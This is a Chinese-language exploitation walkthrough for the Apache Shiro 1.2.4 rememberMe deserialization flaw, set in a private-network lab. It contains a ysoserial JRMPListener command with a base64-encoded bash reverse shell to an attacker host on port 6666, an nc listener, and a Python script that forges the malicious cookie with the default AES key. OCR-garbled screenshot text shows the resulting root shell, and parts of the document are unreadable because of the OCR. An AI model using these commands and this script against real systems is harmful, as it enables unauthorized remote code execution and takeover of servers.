使用在线荷载生产器生成适用于反序列化反弹shell的payload：
[bookmark: _GoBack]http://www.jackson-t.ca/runtime-exec-payloads.html
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使用ysoserial.jar将payload合成为一个使用java 监听本地1099端口的指令：
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOS4xMzkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'
[image: ]
使用nc监听本地6666端口：
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使用生成恶意 Cookie rememberMe值
[image: ]
访问http://192.168.119.134/login.jsp，拦截cookie中含有rememberMe的数据包：
[image: ]
替换Cookie rememberMe值的为之前通过poc生成的恶意值后，
[image: ]
shiro.py
import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES



def encode_rememberme(command):

    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

    BS = AES.block_size

    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

    iv = uuid.uuid4().bytes

    encryptor = AES.new(key, AES.MODE_CBC, iv)

    file_body = pad(popen.stdout.read())

    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_ciphertext





if __name__ == '__main__':

    payload = encode_rememberme(sys.argv[1])    

print "rememberMe={0}".format(payload.decode())


image5.png
:\Users\Liao\Desktop\Shiro Rememberlle 1.2.4 R FFIILa ST python2 shiro.py 192. 168, 119, 139:1099

emenberlle=+/C]116s0n6vES64HNOTpUN3/ 200 juf P xCr-+K xyeCGFwbUZbDORsUrpy BWhz quTKnd 1c il eVSREUF d3qTahl <41 t9LHx O 1WP<H]
FT+£¥4T+N/meONyCL i c1ERYYCNUZT SgyzOan, 40101 23yt /SNICELBQvGI t1aQTb JZESNG thct OXENZyPAyY TpL cibvSKvvve TRwdvy BbkbvlE32D7 1
ILA iDL 4¥ 1£ 4 hMLell+Gpo]RRO4F bl s+cL 9SGpZFkBF HZ aQyKbmp g64FLoR KA +HSEowZ SrvtBLYNT $208Ly /udWxpC7phsdui t110DbUDa789RD IwsH /4
1900805 /KuaxbF 7PHIO/ Toa7VQOF 28 TDDZK3 +pWT el TT+7B8vkOBubmd==





image6.png
Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecn - o X

Burp intruder Repeater Window_Help

[[Torget [ proxy | spier | sconner | ntuder [ Repeater | Seauencer | Decoder | comparer | extender | Prject optons | user optons | erts | [o 8

>0 Re——le
Response
[ e [ [r | [ st | e [ i)
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root@kali:~/Desktop# java -cp ysoserial.jar ysoserial.exploit/root@kali:~# nc -lvp 6666
.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAlistening on [any] 6666 ...
taSA+JiAVZGV2L3R] CCBXOTIUMTYAL jEXOSAxXMZKVN] Y2NiAwPiYx} | {base6|192.168.119.134: inverse host lookup failed: Unknown host

4,-d}|{bash, -i}' connect to [192.168.119.139] from (UNKNOWN) [192.168.119.134
* Opening JRMP listener on 1099 EELEPS

Have connection from /192.168.119.134:41814 bash: cannot set terminal process group (1): Inappropriate ioc
Reading message. .. tl for device

Is DGC call for [[0:0:6, 362894117]] bash: no job control in this shell

sending return with payload for obj [0:0:0, 2] root@cds3bebd1ff1:/tmp# shoami

Closing connection shoami.

Have connection from /192.168.119.134:41816 bash:_shoami: command not found

Reading message. .. root@cds3bebd1ff1: /tmp# whoami

Is DGC call for [[0:0:0, 362894117]] hoami

sending return with payload for obj [0:0:0, 2] root

Closing connection root@cds3bebd1Tf1: /tnp# ifconfig

Have connection from /192.168.119.134:41818 ifconfig

Reading message. .. bash: ifconfig: command not found

Is DGC call for [[0:0:0, 362894117]] root@cds3bebd1ff1: /tmp# s

sending return with payload for obj [0:0:0, 2] 1s

Closing connection hsperfdata root
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java.lang.Runtime.exec() Payload Workarounds

Mon 12 December 2016

Occasionally there are times when command execution payloads via Furtise.getAuntins().21s<()
fail. This can happen when using web shels, deserialization explois, or through other vectors.

‘Sometimes tis i because redirection and pipe characters are used in  way that doesn't make
‘sense inthe context o the process that' being launched. For example, executing 1s > dir list-
g in  shell should output a lsting of the current directory into a fle called dir.Listing. Butin
the context of the exec() function, that command would nstead be interpreted to fetch the lst-
ings of the > and cir_2isting directories.

Other times, arguments with spaces within them are broken by the StringTokenizer class which
‘plits command strings by spaces. Something ike 1s "y irectory” would then be interpreted as
15 "y ‘viractory”

With the help of Base64 encoding, the converter below can help reduce these issues. It can make
pipes and redirects great again through cals to Bash or PowerShell and it also ensures that there:
arentt spaces within arguments.

Input type: @ Bash O powershet Opython Oert

ash % > /aes/ecp/152 162 115 135/66c6 0551

ash —c {echo, YaPaaCACaSA+I5AmITAL IR CBROT LT Y 4L XS bk S VI REEE) |
(banegs, ) | thamh, 5}
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root@kali:~/Desktop# java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099
CommonsCollectionsd 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjCCBXOTIUMTY4LjEX0S4xM

zkvNjY2NiAwPiYx} | {base64, -d} |{bash,-i}'
+ Opening JRMP listener on 1099
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root@kaliz~# nc -lvp 6666
listening on [any] 6666 ...

192.168.119.13: inverse host lookup failed: Unknown host

connect to [192.168.119.139] from (UNKNOWN) [192.168.119.134] 33032

bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

root@cd83bebalffl:/tmp# shoami

shoami

bash: shoami: command not found

root@cd83bebalffl:/tmp# whoami

whoami

root

root@cds3beba1ffl:/tmp# ifconfig

ifconfig

bash: ifconfig: command not found

root@cd83bebalffl:/tmp# s

1s
hsperfdata_root
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